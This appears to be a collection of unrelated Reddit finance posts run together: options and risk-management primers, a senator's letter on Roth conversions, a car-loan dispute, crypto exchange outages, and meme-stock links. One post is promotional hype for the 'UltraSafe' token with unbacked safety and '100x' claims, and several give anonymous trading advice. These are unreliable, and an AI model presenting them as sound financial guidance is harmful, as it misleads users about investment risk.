that scheming fat cats kept me penniless in the gutter. Now I see it as a tool that makes my life run more smoothly and gives me a peace of mind that I never thought possible. + + +I know my accomplishments are modest and I can't complete with 25 year old engineers with six figure net worths, but I can't overstate the effect that PF has had on my life. I will forever be *profoundly* grateful. Please accept my most humble and entirely sincere THANK YOU!!!! +Start seeing a lots of these posts recently. + +>"I am buying MSFT? Is now good time?" + +&#x200B; + +>"I just bought MSFT? Is it a mistake?" + +&#x200B; + +>"Should I sell TSLA now? Is it too soon?" + +&#x200B; + +>"I sold TLSA? When should I buy back?" + +Wondering why...I think some brokerage requires their users to post on reddit before submitting an order for some securities reasons... + +I am not so sure because my broker doesn't require me to post on reddit at all. +https://www.wsj.com/articles/neiman-marcus-the-retailer-to-the-rich-stumbles-into-bankruptcy-11588860617?shareToken=st0c3b5fd320da42bfa2097c4e9e3d23e2, Sorry about the paywall + +-Neiman Marcus, the Retailer to the Rich, Stumbles Into Bankruptcy +-Squeezed by debt and closed stores, luxury retailer files for chapter 11 during coronavirus pandemic + +The bankruptcy filing, in the Southern District of Texas, Houston Division, seeks to eliminate $4 billion of roughly $5.1 billion in debt. The creditors will become majority owners of the retailer, which has been controlled by private-equity firms. Neiman isn’t planning mass store closings or asset sales as part of the restructuring. +I am reposting some of the old dd in this post, today, mutiple ones by the now /u/deleted (cant remember who it was) GODS of sun dd. + +part 1 [https://web.archive.org/web/20210607135115/https://www.reddit.com/r/Superstonk/comments/nud0so/gods\_of\_the\_sun\_part\_11\_manipulating\_the\_meme/](https://web.archive.org/web/20210607135115/https://www.reddit.com/r/Superstonk/comments/nud0so/gods_of_the_sun_part_11_manipulating_the_meme/) + +part 2 [https://web.archive.org/web/20210608024039/https://www.reddit.com/r/Superstonk/comments/nuud15/gods\_of\_the\_sun\_part\_12\_manipulating\_the\_meme/](https://web.archive.org/web/20210608024039/https://www.reddit.com/r/Superstonk/comments/nuud15/gods_of_the_sun_part_12_manipulating_the_meme/) + +part 3 [https://web.archive.org/web/20210608123924/https://www.reddit.com/r/Superstonk/comments/nv333e/gods\_of\_the\_sun\_part\_13\_manipulating\_the\_meme/](https://web.archive.org/web/20210608123924/https://www.reddit.com/r/Superstonk/comments/nv333e/gods_of_the_sun_part_13_manipulating_the_meme/) + +for IPFS links in case those above go down - + +# the original posts are here: + +[reddit.com/nud](https://reddit.com/nud0so)0so + +[reddit.com/nuud15](https://reddit.com/nuud15) + +[reddit.com/nv333e](https://reddit.com/nv333e) + +archived copies from my archive (note they are from [archive.org](https://archive.org) as my original copes downloaded the already deleted posts) + +via [transfer.sh](https://transfer.sh) + +gods of sun dd 1 = [https://transfer.sh/rWzGzK/GODS%20OF%20THE%20SUN%2C%20part%201.1%20-%20Manipulating%20the%20meme%20stock%20narrative%2C%20RC%E2%80%99s%20%E2%80%9CSears%E2%80%9D%20tweet%2C%20Vulture%20Funds%2C%20Apollo%20Global%20Management%2C%20who%20Adam%20Aron%20really%20is%2C%20Epstein%2C%20Goldman%20Sachs%2C%20and%20%E2%80%A6.html](https://transfer.sh/rWzGzK/GODS%20OF%20THE%20SUN%2C%20part%201.1%20-%20Manipulating%20the%20meme%20stock%20narrative%2C%20RC%E2%80%99s%20%E2%80%9CSears%E2%80%9D%20tweet%2C%20Vulture%20Funds%2C%20Apollo%20Global%20Management%2C%20who%20Adam%20Aron%20really%20is%2C%20Epstein%2C%20Goldman%20Sachs%2C%20and%20%E2%80%A6.html) + +gods of sun dd 2 + +[https://transfer.sh/IPpTlA/GODS%20OF%20THE%20SUN%2C%20part%201.2%20-%20Manipulating%20the%20meme%20stock%20narrative%2C%20RC%E2%80%99s%20%E2%80%9CSears%E2%80%9D%20tweet%2C%20Vulture%20Funds%2C%20Apollo%20Global%20Management%2C%20who%20Adam%20Aron%20really%20is%2C%20Epstein%2C%20Goldman%20Sachs%2C%20and%20%E2%80%A6.html](https://transfer.sh/IPpTlA/GODS%20OF%20THE%20SUN%2C%20part%201.2%20-%20Manipulating%20the%20meme%20stock%20narrative%2C%20RC%E2%80%99s%20%E2%80%9CSears%E2%80%9D%20tweet%2C%20Vulture%20Funds%2C%20Apollo%20Global%20Management%2C%20who%20Adam%20Aron%20really%20is%2C%20Epstein%2C%20Goldman%20Sachs%2C%20and%20%E2%80%A6.html) + +godsof sun dd3 + +[https://transfer.sh/9QHXwl/GODS%20OF%20THE%20SUN%2C%20part%201.3%20-%20Manipulating%20the%20meme%20stock%20narrative%2C%20RC%E2%80%99s%20%E2%80%9CSears%E2%80%9D%20tweet%2C%20Vulture%20Funds%2C%20Apollo%20Global%20Management%2C%20who%20Adam%20Aron%20really%20is%2C%20Epstein%2C%20Goldman%20Sachs%2C%20and%20%E2%80%A6.html](https://transfer.sh/9QHXwl/GODS%20OF%20THE%20SUN%2C%20part%201.3%20-%20Manipulating%20the%20meme%20stock%20narrative%2C%20RC%E2%80%99s%20%E2%80%9CSears%E2%80%9D%20tweet%2C%20Vulture%20Funds%2C%20Apollo%20Global%20Management%2C%20who%20Adam%20Aron%20really%20is%2C%20Epstein%2C%20Goldman%20Sachs%2C%20and%20%E2%80%A6.html) + +thanks to /u/morethingsinheaven for reminding me of these. + +ape historian + +&#x200B; + +og ape who did the dd is - User deleted his account: [u/JessasaurusJames](https://www.reddit.com/u/JessasaurusJames/) \- thanks to the ape in the comments! + +PS- i am slowly migrating to IPFS as per [reddit.com/u69aox](https://reddit.com/u69aox) \- FYI you can always append the post id and reddit will redirect to the post +This is a followup to [this post](https://www.reddit.com/r/financialindependence/comments/59iaoi/draft_senate_bill_to_eliminate_roth_ira/) from a while ago. + +[Here is a copy of the letter from Ron Wyden](http://imgur.com/a/kBsKF) + +And here is the text: +Dear MrHoova, + +Thank you for contacting me with your concerns regarding tax reform. I appreciate hearing from you on this important issue. + +As Ranking Member of the Senate Finance Committee, I am working hard to make tax incentives for retirement savings available to more working families and more generous to the middle class. In September, I released a tax reform discussion draft called the Retirement Improvements and Savings Enhancements (RISE) Act. This proposal would expand the Saver’s Credit for low and moderate income families, give middle class savers more flexibility on mandatory distributions from IRA accounts, and allow employers to take into account student loan repayment when making “matching” retirement plan contributions. + +The RISE Act also aims at reducing tax avoidance games played with tax-advantaged retirement accounts. The median Individual Retirement Account (IRA) held roughly $25,000 in 2013, with almost 60 percent of households having no IRA or 401(k) savings. Meanwhile, between 2,000 and 5,000 “Mega IRAs” had balances over $5 million in 2011. I believe that taxpayer funds should be put to work helping working families save for retirement, rather than subsidizing these Mega IRA accounts. + +One tax avoidance game that the bill would address involves “back door” Roth IRAs. With this scheme, if you exceed the Roth IRA income limits, you can make a nondeductible contribution to a traditional IRA — and then shortly thereafter, you convert your nondeductible contribution from the traditional IRA to your Roth IRA. The RISE Act addresses this scheme by eliminating Roth conversions for IRAs and employer-sponsored plans. + +The RISE ACT discussion draft is a detailed legislative proposal, but it is not yet finalized. I understand your concerns about eliminating Roth conversions, and will keep your views in mind as the Finance Committee continues to consider tax reform proposals. If you would like to submit any further comments on the discussion draft, please feel free to write via email to Retirement_Savings@finance.senate.gov. + +Again, thank you for keeping me apprised of the issues that are important to you. If I may be of further assistance in the future, please do not hesitate to contact me. + +Sincerely, +Ron Wyden +United States Senator +Update....... I just get a call from BECU and they said they will give me the loan directly without the middle man, the dealer. They acknowledged that the Dealer was wrong so they will cancel that application and they will also remove the credit inquiry from my credit report. This is a win for all of you. I thank you each of for your advice and support. Thank you ♥️ + +************************ + +Hello friends, basically my Honda lease was due and I had to make a decision. I decided to buy the car. I went to the dealer and they run my credit, basically, they want me to pay $5000 more if I want to own the car and buy it off.. They also want me to finance through their preferred bank which has 5% interest rate. According to them, my credit is an excellent and yet they want me to have higher interest rate, I requested to check BECU through the dealer and they run one more credit check and they said BECU offered you 2% interest rate. + +Okay, now we agreed on the interest rate but what about the balance, I thought I only awe 19k, where's the 5k coming from? Well, it's the taxes and dealer fees and license fees and so on. + +Okay, fine, I went to my local BECU Credit Union to take the loan directly from them and then pay honda without dealing with their dealers. + +The Local BECU Credit Union already saw my application from the dealer, they showed me that they already approved 24K through the dealer. I told them I don't want to go through the dealer because they're charging me 4k Extra, if I can get the loan from you, I will have to pay only 19k plus taxes, that's 21k to be exact, that's 3000 dollars difference. + +The local bank said they will contact the dealer and they need to resolve the dispute between me and the dealer, they're saying the dealer should not charge you more than 19k plus taxes, that's the amount you awe according to the Honda buy out the form. They said they will contact the dealer tomorrow and then they will call me back after that. + +Is anyone experience this situation before? +https://www.google.com/amp/s/amp.theguardian.com/us-news/2020/sep/20/leak-reveals-2tn-of-possibly-corrupt-us-financial-activity + +Is this gonna screw up wall street the coming weeks? I mean, if it's true, it will put even more fear and distrust of the whole economy and the stock market. +I asked if people would rather WFH or go back to the office after more than a year of WFH for office jobs. There were 640 responses. Not surprisingly, people commonly said they would prefer to WFH or a mixed model. People cited saving time on commuting, privacy of a home office, convenience of using your own washroom, making your own lunch instead of packing or purchasing, among others. You can view it [here](https://www.reddit.com/r/PersonalFinanceCanada/comments/n0doqr/after_more_than_a_year_of_wfh_are_you_looking_to/). + +This would drive demand of offices or potentially reduce office sizes in the future. + +Outside of REITS, [there is worry for the TTC as well](https://www.tvo.org/article/why-working-from-home-could-be-a-disaster-for-public-transit-and-the-economy). How does this change lifestyles, the economy, and our stock selection in the short and long term? +I have owned Berkshire Hathaway for years and have amazing gains (I think of it as an ETF rather than a stock). That said, I am a little worried that Mr. Buffet is 90 years old and his co-pilot, Charlie Munger, is 95. What do you think will happen if it is announced (a) Buffet is retiring, (b) he is in hospital or (c) he has gone to the great trading floor in the sky? + +[View Poll](https://www.reddit.com/poll/mdpgr6) +Give me opinion on this strategy. I want to use my line of credit (rate is presently 2,5%), let’s say about 25k$. Put that in my TFSA and buy ZWB, it has yield above 5%, as long the interest rate on my credit line is under 5% I see this as a no brainer. The ETF has a little bit of growth that can be taken in consideration which can add to the 5% returns. + +If the interest rates ever go above 5% I just sell the stocks and repay the credit line. + +Is there any downside to this idea besides the risks of market corrections? +Last Monday I put my first $4,000 ever on my TSFA. + +I bought 6 VFV stocks @ 90.66 for a total of $553.95 including the $9.99 commission fee. + +Now, I see that the the stock is currently sitting at $91.83 (+0.63). It’s green. + +However, my gain/loss tab says -2.97 (-0.54%) in red. + +I know this small loss doesn’t even matter in the grand scheme of things at all. I’m not concerned about that. What I don’t understand is why is it in red if I bought the stock for lower than the current price? Is it taking into consideration the $9.99 I spent on commission? + +Thank guys. +How many of you are immune or numb to big drops of 5 to 10 percent . It doesn't bother me at all anymore I expect everyday to be deep red anything green or flat is a surprise given the circumstances . I don't need the money right now and am confident my portfolio will be fine long term . As long as I have my job which is fairly recession proof , family and health , right now that's all that matters. Sit back relax don't stress and hope for the best for Canada and the world. This shall pass . +The current front-page is filled with 'buy the dip' or 'why dips happen', so I immediately rushed to check CoinGecko. BTC is 2,2% lower than yesterday, ETH 3,4%. Both are up double digits compared to 7 days ago. + +This is not a dip! If you are scared right now, you've invested to much in Crypto and aren't comfortable with losing it. + +Over the years, it's not unlikely to see -10% declines in a single day. Today is nothing. I wouldn't call anything above $40.000 a dip and the next retrace could go as low as $20.000 again. + +I'm very bullish on the long term, but if you're freaked out by knowing your BTC could lose 60% in value of the coming month, you've invested to much. We'll start preparing the suicide hotline posts for you again once that happens. + +The positive news is that BTC has come back stronger after every dip. If we go down to $20.000, we'll bounce back to $80.000 after. But please stop freaking out if we don't go up every single day. +Alright retards, I've seen a big influx of new members here throwing away money on investments they know next to nothing about. This is meant to be a basic introduction to options prices. I am not a financial professional and this should not be misconstrued as investment advice. + +This will probably be long so **TL;DR:** Stop throwing away your money and learn about what you're buying. If you don't want to read [mike and his whiteboard](https://www.youtube.com/watch?v=kmQ20J_3K7Q&list=PLPVve34yolHY43YaBegHMzN9WjrTnQfFr&ab_channel=tastytrade) is a good resource (I am not affiliated in any way). + +Initially wrote this at the end but I think it's better at the beginning: +**Practical Applications, General Advice** +- +General pointers for the newbies. Most of the option trading shown on WSB is OTM naked calls or puts with expiration < 3 weeks (*FDs*). **These are like lotto tickets and are not considered responsible investments by anyone, including us. They are retarded and we know it. You should know it too before buying.** Theta is usually insane and probability you make money is slim. On the flip side, selling these options is sometimes considered ok but is often **referred to as picking up pennies in front of a steamroller** due to the low return for high risk. If you want to preserve your hard earned money, make responsible plays. With options that usually means **~3 months minimum expiration, and strikes somewhat close to the money, if not in the money.** Consider the implications of IV in your trades, and make sure you understand the mechanics of the options before opening spreads. + +------------- + +Options Basics + +An option is a contract that gives you the option to buy (**call**) or sell (**put**) 100 shares of a stock at a certain price (the **strike price**) at or before a certain date (the **expiration date**). Options are priced **per share**, so a call with a listed price of $1 will cost you $100 total for 1 contract ($1 x 100 shares). For American style options (what most of you are trading) you can exercise at any time before the strike price, while European options (which are sold for major indices on American markets) can only be exercised on the expiration date. That doesn't matter too much for our purposes but I'll get into that later (EDIT: I never elaborated. This is really only important for [box spreads](https://www.investopedia.com/terms/b/boxspread.asp#:~:text=A%20box%20spread%20is%20an,strike%20prices%20and%20expiration%20dates.). They aren't allowed on RH and have their [own history here](https://www.youtube.com/watch?v=3zW86yXg7RM&ab_channel=MHFIN). Don't bother with them). + +Options have both intrinsic and extrinsic value. **Intrinsic value** is what that option would be worth at expiration. For example, if you have a $60 call in gamestop, and gamestop stock is at $65, your intrinsic value is $65-$60 = $5 (the difference your strike price vs what price you can sell it on the open market). An option will only have intrinsic value if it is **in the money (ITM)**, which means price is above strike for calls and below strike for puts. **Extrinsic value** is the time value of the option, and will vary based on the **implied volatility (IV)** of the option. The definition of implied volatility is complicated and tends towards circular logic if you apply it practically, but generally it can be thought of as how much options traders expect the underlying to move. If the stock moves a lot, IV goes up. If there's a big event, like an earnings report, IV goes up. If that earnings report passes, or the stock stabilizes, IV goes down. IV varies greatly depending from one stock to another and can change drastically depending on numerous circumstances, but as a generalization anything < 30% IV could be considered low and anything > 100% IV could be considered high. **Out of the money** options (price below strike for calls and above strike for puts), have value that is entirely extrinsic- for that reason they tend to have larger percent moves than ITM options. + + +Greeks + +The greeks can be an intimidating topic but are extremely important if you want to trade spreads (more on this later) and I would argue anyone buying options should have a basic understanding of the greeks. This will be geared towards average/wsb investors, I'm not going to get into the other greeks here because they usually aren't as important for our purposes. + +**Delta**: How much the option price will move relative to moves in the the share price. Positive for calls and negative for puts. It ranges 0-1, delta of 1 is equivalent to holding 100 shares, delta 0.5 is equivalent of holding 50 shares. Simple enough. This will increase as you are in the money and decrease if you are out of the money. An at the money option will typically have 0.5 delta, a far ITM option will have delta close to 1. + +**Theta**: How much time value the option will lose per day. This is >0 (technically <0 if you are short, more on this later). A theta of 0.1 means the value of the option will lose $0.10/share/day, or $10/day. Theta increases as the expiration date becomes closer, so an option expiring this week will lose more money/day than one expiring next month (given same strike). For options of the same expirations, it will typically highest at the money and decreases as you move further ITM or OTM. [EDIT: Corrected] + +**Gamma**: Rate of change of delta. This represents how much delta will change as the stock price moves. This is highest for near the money options and lowest for far ITM or far OTM options. + +**Vega**: Change in option price relative to on change in IV. High vega means the price moves a lot with changes in IV. This will increase with the amount of time left on the contract (more time = higher vega) and is typically highest at the money strikes and lowest for far ITM or OTM strikes. + +Buying/Selling Options + +Just like stocks you can buy or sell individual contracts. You can also create positions that combine both long and short options, these are known as spreads. Individual contracts are fairly easy to understand and trade, though they typically come with higher risk and higher reward than their spread counterparts. + +**Long vs Short:** You can buy or sell options. Buyers can sell or exercise their contracts to close the position. Buyers need the stock price to move for their position to profit. Shorts can buy to close or wait for the option to expire. They will profit if the price stays the same (from theta) or moves in their favor. Increases in IV will help longs and hurt shorts, decreases in IV will hurt longs and help shorts. + +**Calls:** Bulls buy calls. Their maximum loss is the initial cost of the call, their max profit is uncapped. They lose theta. Bears can sell calls (**naked calls**), their maximum loss is unlimited and their max profit is the initial price of the call. They gain theta. + +**Puts:** Bears buy puts. Their max loss is the initial price of their put, their max profit is the strike price (stock can't go lower than zero), they lose theta. Bulls can sell puts (**naked puts**), their maximum loss is the strike price of the contract (stock price can't go below zero) minus the initial cost of the contract, their max profit is the initial price of the put. + +**Spreads:** Combination of a buy and a sell. These come in all different forms and allow all sorts of strategies that are impossible with shares or naked positions. In general there are **credit spreads** which is when you sell the spread and receive money up front, and **debit spreads**, which you buy the spread pay up front. When constructing spreads it's useful to know that the resulting greeks will be the sum of the greeks from all the contracts in the spread. So if you buy a call with delta 0.5 and sell a call with delta 0.25, your overall delta is 0.5-0.25=0.25. I'm only going to cover a few here because I'm getting tired but just know there are a ton of options trading strategies out there. + +**Vertical Spread:** Buy and sell different strikes at the same expiration. For example, if I'm bullish on GME I can buy $60 calls and sell $65 calls for 1/29 (debit spread). The cost of the $60 call is offset by the $65, but the profit is capped at $5 per contract. Theta is lower (and can be negative) although delta and gamma are also lower. It's important to note that when the position is ITM, the overall spread price will be less than the intrinsic value of the spread due to the extrinsic value of the short leg (until you're insanely far ITM). For example, that $60-65 vertical spread will be worth <$5 even if GME is $75. The price of the spread will approach its intrinsic value as the remaining time on the contract approaches 0. I can also sell a vertical spread (credit spread), I will receive the difference in value of the two contracts and will need cash collateral to cover the difference between the strikes. For example, I can sell a $65 put and buy a $60 put. Since the $65 put is worth more I receive a credit (lets say $200), then I also need to put up $300 in additional collateral. If GME goes above $65 I can wait for the contract to expire useless or buy it back for cheaper than I sold it. If it goes below $65 my loses are offset by the $200 credit. If it goes below $60 my losses are capped at $300 by my long put (I buy shares at 65, sell at 60) and initial credit received. + +**Iron condor:** Combination of two OTM vertical spreads, typically of the same width. Most people trade these short, the nice thing about that is your collateral can be shared between the call and put side, because there is no way for both sides to be ITM at the same time. If you're short you make money if stock price stays the same or if volatility goes down (basically the same thing). + +**Horizontal spreads:** Buy and sell the same strike at different expirations. AKA calendar spreads. Most useful for betting on changes in volatility. A long calendar spread (sell close expiration buy long) will be long volatility, a short calendar spread (buy close expiration sell long) is short volatility. You can also use this strategy for earnings plays, when you know the short dated options will lose more volatility than long dated options. These are most valuable near the money and will lose value as they go farther ITM or OTM. For this reason some traders will incorporate both OTM puts and calls into these positions. Calls are delta neutral at the money, slightly delta positive OTM, and slightly delta negative ITM (reverse for puts). + + +That's all I have the energy for. Feel free to ask questions. Good luck out there. + +Positions: GME shares 🚀🚀🚀 + +EDIT: fixed a couple mistakes and added rockets. + +EDIT: [Another post in case you're interested in learning more.](https://www.reddit.com/r/wallstreetbets/comments/k2a2j8/options_explained_a_quick_beginners_guide/) +EDIT: Fixed differences in theta at same expiration. Clarified call/put vs naked call/put. +Guys, we should make a list of everything that is wrong right now. How is Coinbase doing? Gdax? Kraken? + +Below I would like to add the status of other Bitcoin services as you guys keep commenting your experiences. The objective would be for us to have a good overview of whats going on right now. + +Mods, please let this post live. We need information during times where everyone is "What the hell is going on". + +Please upvote this thread and the good comments and I'll keep editing throughout the day. +______________________________________________ + +* **Bitfinex is doing fine (unless you margin traded yesterday during the flash crash), I didn't try to withdraw though so I don't know if that's working right now.** + +* **Cryptopia (New Zealand exchange) is doing fine, no downtimes, possible to withdraw and everything seems ok besides everything melting down.** + +* **GDAX is currently stable.** + +* **Kraken is having troubles for a long time now. Orders don't go through, 404 errors and duplicated orders, you name it. Basically,yesterday was like any other day for them. (please check Kraken staff comment below).** + +* **Coinbase FINALLY allowed me to buy bitcoin after several attempts and error messages. (this is not consensus, many people still unable to buy / sell through Coinbase). Coinbase say they are under maintenance.** + +* **Bitstamp is currently stable and able to make trades.** + +* **Gemini has been working fine for me. Threw up a couple limit orders as the price was dropping, they went in and ended up being filled successfully. Other users reporting Gemini was offline most of yesterday.** + +* **Quadriga (one of the prominent Canadian exchanges) is business as usual.** + +* **Bittrex is being reported by multiple users, transactions delay, transactions cancelled, support is non existance, etc, be careful.** + +* **Spectrocoin has been working pretty good for me in this event. Will keep using them.** + +* **BTCMarkets (and Coinspot) AUS exchanges are fine. We passed 10k earlier this month with no issues.** + +Kraken replied to the thread with the following comment: "Hi OP, just as a general update, which has been also mentioned by one of the commenters here, /u/bhishmapitamah/ -- we do have update(s) coming at Kraken, to the trade engine as well, and they are coming soon (anticipated deployment between 1st and 2nd week(s) of December 2017, although we don't have an exact date). Please see here for further details." +I know the basics of trading that I learned in my classes (I know how to buy/sell calls/puts and most things in the intro link on the FAQ page) but I’m looking for a place to start learning applicable strategies, including how to evaluate companies. I have a few thousand to start messing around with but I don’t want to lose it. I have a lower risk tolerance 😅 +Any suggestions? +I asked about the current rates and likely rates I would get with my credit score at other lenders specifically Sofi, and what to do if I get quoted a better rate elsewhere if I can bring back documentation, can he beat it. He told me that he doesn't play that game. I then asked how are you paid and he said he can't tell me that. + +I had thought this is a very important question especially for financial advisors and whether they are fiduciary. I wanted to know whether he has any wiggle room in the rate and if he is incentivized to not give me the best rate. Was my question out of bounds? +Grateful for those who offered advice/help on Reddit whenever I needed it. Now just sharing my recent learnings to other who may find it helpful. I started options just towards end of last year. + +My mistakes/lessons + +* I started with a few contracts instead of just 1 for learning as a beginner. Should always start small just to understand how the system works, then scale slowly. +* I'm not quite aware of the effect of the greeks, hence I see prices moving quite dis-continously. +* I didn't have the right concept of how important time works, hence it's effect on a profitable trade. So far, I've lost all the trades whereby I could have easily won if I'm more careful with timing and greeks. My algo has been working very well directionally, if I manage to tame with time and greeks, I could have accelerated my earnings +* \[Added\] Don't buy cheap options (it's a trap) + +In short, when moving into a new system, I used my experience from another system which is not useful to succeed. My advice to other newbies, it's ok the lose but start humble to learn about the system and the mechanisms, stay alive. + +Hopefully I can report back how I have improved in the next update! +Been seeing **A LOT** of "I lost my entire portfolio" posts lately all over reddit, I thought I would make this for everyone currently experiencing this phenomenon. + +I did a video explanation for my Discord members explaining the basics of how to manage your portfolio so even if you lose a majority of you trades you can still come out a winner. + +I will now try to relay all of this information here through text to you guys, in a way that those who don't understand this kind of stuff or don't actively do risk management, can understand as to why it's so important if you want to not give back all your gains from the last year. + +If you aren't using proper risk management, then please transfer me your money and report to the antiwork subreddit immediately cause you're probably gonna lose it and whine about how bad life sucks. + +I will also try to include a few strats I use to maximize how we can do this, let's begin. + +https://preview.redd.it/p7opahdcnue81.png?width=665&format=png&auto=webp&s=e8b124c20ac1ca4d72caa6bec647079db62afed4 + +This is an example with a 10,000 account. If you are profitable with 10k, you will be profitable with 100k, and so on. Here we have lost a majority of our trades. Somehow we are still in profit? How is that? + +**The risk-to-reward ratio:** + +We are using a 1% portion of our portfolio in all trades. If we lose 20 trades, we lose 20% of our portfolio. Scary right? Not so much. We never lose that 1%. How do we not lose the 1%? **We setup a take loss/take profit stop loss of 1 to 1.5.** This means that when we risk 1% of our portfolio, we setup a stop loss for -10-20%(Personal risk tolerance here) and setup a take profit of x0.5 in addition to that. So if you're going to stop out at -10%, that means you are taking profit at 15%. + +(Keep in mind, you CAN use bigger than 1%. 1-3% is what I personally use, I just make sure to set my SL up correctly **AS SOON AS I OPEN THE TRADE NO EXCUSES. )** + +(**If I lose all 20 trades of 1 % with only a 10% loss on each trade, I am only losing 2% of my portfolio if all 20 trades go badly)** + +**If you are not using some type of Stop Loss, you're going to have a bad time in the stock market.** Just saying. + +**THIS IS A TRADING PLAN.** If you do not have one, and I do, ***I am going to take all your money from you.*** + +That's right. I will take your profit when you have no clue what you're doing. I will sell you contracts that don't hit. I will buy the contracts you are getting rid of (panic selling). I am patient and you are not. That is the point here. + +Moving onward, in this example: This is what would happen if you allowed any one of these trades to grow beyond your defined risk-to-reward ratio. + +https://preview.redd.it/1dgfwptgnue81.png?width=289&format=png&auto=webp&s=b9130c38dd9eb637e3c85b7b412d81b7e9a0af91 + +Uh-oh spaghettios. Now we're negative. How did that happen? Oh right, we went to the bathroom and forgot to put a stop loss like a fucking noob. How embarrassing. Now we are suffering for it. + +This is what we want to avoid. This is why I say in some of my other posts that this is so important. If you're wrong you get stopped out with a scratch compared to getting your head chopped off. If you're wrong you can always rebuy the contract or lick your wounds and live to fight another day. + +The market sells hopium and the price for entry is 0.01. Don't buy this. + +**Topic 2: When to place a trade** + +&#x200B; + +https://preview.redd.it/2j8ogsmwnue81.png?width=673&format=png&auto=webp&s=31480f441d54a49842de96c1d9f35a35dfe862d1 + +&#x200B; + +https://preview.redd.it/wy27waa8oue81.png?width=671&format=png&auto=webp&s=2b540923152f502331a07d73625ad63eefd11f66 + +https://preview.redd.it/p1k79b8houe81.png?width=672&format=png&auto=webp&s=50965672661e00f8ec0238c65edf2a0a18ceeb68 + +https://preview.redd.it/6ujd07w0pue81.png?width=1131&format=png&auto=webp&s=38bd9cccef3aa0335d46dee898160714ba3635f6 + +&#x200B; + +Now you might lose, or you might win the trade, but **BEING CONSISTENT AND STICKING TO THE PLAN** is the most important thing here. When you do this, you **REMOVE EMOTIONAL CONTRAINTS** to what you're doing and just accept that this is what you're doing because **YOU CHOSE TO DO THIS.** + +Get this in your head. Any problem you have when dealing with the stock market is now **YOUR PROBLEM.** You chose to take this trade. Not anyone else. Internalize this. + +Remember guys, the shit adds up at the end of the day/week/month/quarter/year. If you're trying to build your portfolio this is a very good way to do it and take minimal losses. + +Remember also, you need to give your trades time to work. Be patient and stop expecting to hit a 10 bagger on every trade. **BE REALISTIC WITH YOURSELF. There will ALWAYS be another trading day.** + +If you lose you entire account though? Not so much. + +Let's see how this trade would have panned out then, shall we? + +https://preview.redd.it/wlak3ohgpue81.png?width=778&format=png&auto=webp&s=05e0079d7bd7f840b1f533321c5e2c7e89ff4e1c + +**Success**. The trade is now complete. We made our profit and we got out instead of breathing the hopium that the market was trying to sell us hoping for a bigger success and becoming emotionally involved and losing more money. Awesome. + +**Topic 3: Moving your BREAK EVEN UP.** + +This is where I am going to deviate a bit into the more advanced part. Moving your BREAK EVEN UP. + +I will be honest, sometimes I do NOT use a reward ratio and only use the risk. Not all the time, but sometimes. I can also remove the risk and keep the reward. Different strats for how I am feeling at the time. But all in all its probably best to keep the defined plan until you become more comfortable with it. + +This means that I no longer have a "Take profit" margin, and instead continuously move my SL up higher and higher and higher until I get stopped out. I try to move my SL up almost immediately when I am in profit because that way even if I get stopped out I take at least 5-10 bucks(or whatever) on the option. This technique **CAN** be a double edged sword, risking more for a small gain. But even if your thesis is correct, your timing might not be, so it can also be helpful/harmful incase the stock does dump more past your defined risk zone, if that makes sense. + +https://preview.redd.it/qy1hfaewpue81.png?width=841&format=png&auto=webp&s=38f91d5c9f72e3187fac4e88187befd5f1b642a6 + +Moving your break even up while you are in the green assures that your trade **STAYS GREEN NO MATTER WHAT THE PROFIT IS.** + +In conclusion, There are many ways to trade and define risk to reward. As said above, I try to stick to the 1 - 1.5 example as best I can till I am in profit and able to move my break even up and ride the trade out if it goes past my 1.5 reward. This is what I use to stay profitable even though there is constant whiplash in the markets. This is also what every single industrial professional should be doing aswell or they are probably going to get fired very quickly. + +If anyone has any comments or questions please, feel free to leave them down below or DM me directly. Always available to help. I hope this helps some people to become more successful traders. If the images are too small, please click on them to enlarge them. + +**EDIT: For everyone that is randomly being negative with 0 logical reason as to why, feel free to go make your own post disproving mine. I would love to read it. Though I am pretty sure that's not going to happen.** +Hello Future of UltraArmy!! + +**Huge News Dropping This Week!! Riding the recovery to 100x! Bullrun right now! 💯 +[How to Buy Right Now - Click Me!! 🚀](https://cdn.discordapp.com/attachments/844221520778625085/853692414588616774/video0.mp4) +** + +Welcome to **UltraSafe** where **37,000** holders & counting have already understood the Value of UltraSafe. Crypto’s current **Coin of the Future** is looking to be a **dominant** currency with use cases **WorldWide**. Let me be frank, you do not wanna miss out on our **Bull Run**!! + +The **Safest Token on BSC**, UltraSafe is **Fully Rug Proof** with its **Contract Ownership Renounced**. It currently has two audits completed by **Solidity & Certik** with a **3rd** currently in the works. UltraSafe has its **Liquidity Locked for 79 Years**, higher than other tokens on the market. UltraSafe has corrected vulnerabilities that would allow a rug pull still in other “safe” tokens. We are truly, UltraSafe. Developers have been **Fully Doxxed** to proper entities. Full Public Dox down the line. + +UltraSafe provides you with **Passive Income** through its tokenomics. There is an 8% tax that **reflects 4% back to holders** proportionate to what you hold. The other 4% is sent to locked liquidity to **Exponentially Decrease Impact Selling** has on our price. This helps to **prevent Pump & Dumps** & **encourages Whales to hold**. + +Future plans including but not limited to : **dApps, NFTs, UltraWallet, UltraExchange, Merchandise**, More **CEX listings** and more **AMAs. Influencer and Social Media based marketing** is currently being **ramped up**. Billboards, Planes, Times Square advertisements are currently live & about to be everywhere. An **Animated Website v3** is soon done and live. **LLC** near completion. + +**Currently the best token to ride up with the crypto recovery. Come make some money with the UltraSafe community!!** + +Important Links : +[UltraSafe Website](https://ultrasafe.finance/) - +[Coin Market Cap](https://coinmarketcap.com/currencies/ultrasafe/) - +[Solidity](https://solidity.finance/audits/UltraSafe/) - +[Certik](https://www.certik.org/projects/ultrasafe) - +[Discord](https://discord.gg/hy54dHhjvk) - [Twitter](https://mobile.twitter.com/ultrasafebsc) - +[TeleGram](https://t.me/UltraSafeOfficial) - [Reddit](https://www.np.reddit.com/r/Ultrasafe/) - +[BscScan](https://bscscan.com/token/0x0b3f42481C228F70756DbFA0309d3ddC2a5e0F6a) - +[FaceBook](https://www.facebook.com/groups/503406880704284/) - +[StockTwits](https://stocktwits.com/symbol/ULTRASAFE.X) - +[Most Recent AMA](https://m.twitch.tv/videos/1036054617) - +[irst Live AMA](https://youtu.be/FcyQYBk4wU4) - +[CoinGecko Listing](https://www.coingecko.com/en/coins/ultrasafe) - [DexTools](https://www.dextools.io/app/pancakeswap/pair-explorer/0x48bac97d5e3116626a56704be7399e1cb593a945) +I love how my college educates. I hate how it exploits freshmen. + +Freshmen are forced to live on campus and sign up for a meal plan with at least 14 meals per week. With the dorms being priced at $900/month (there aren’t enough dorms, so we get inflated prices... even though we have no other choice), and the meal plans being a whopping $2200ish a semester, living expenses came out to be like $5000/semester. Now that’s a hefty convenience 